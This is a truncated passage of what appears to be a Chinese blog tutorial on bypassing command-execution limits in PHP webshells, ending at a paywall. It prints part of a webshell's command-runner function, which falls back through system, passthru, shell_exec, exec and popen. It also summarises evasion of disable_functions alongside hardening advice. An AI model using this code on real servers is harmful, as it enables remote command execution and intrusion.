0x00 前言
上传webshell后,执行命令时或许没法执行了,这时我们该分析下原理并想出绕过方式,防守方也必须根据绕过方式想想更强的防御.
0x01 php webshell执行命令原理
php webshell(以下简称webshell)下是怎么执行系统命令的?我们找一个webshell分析下
搜索关键字定位到以下代码
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(@is_resource($f = @popen($cfe,"

本文探讨了Webshell下命令执行被限制的情况,分析了PHP Webshell执行命令的原理,包括system()等函数的使用。接着,介绍了如何通过黑名单绕过、系统组件绕过(如Windows下的Shell.Application)以及拓展库绕过(在Linux下编译PHP扩展)等方法来规避限制。同时,提出了加强防御的策略,如完善disable_functions配置和删除相关系统组件。
最低0.47元/天 解锁文章
3275

被折叠的 条评论
为什么被折叠?



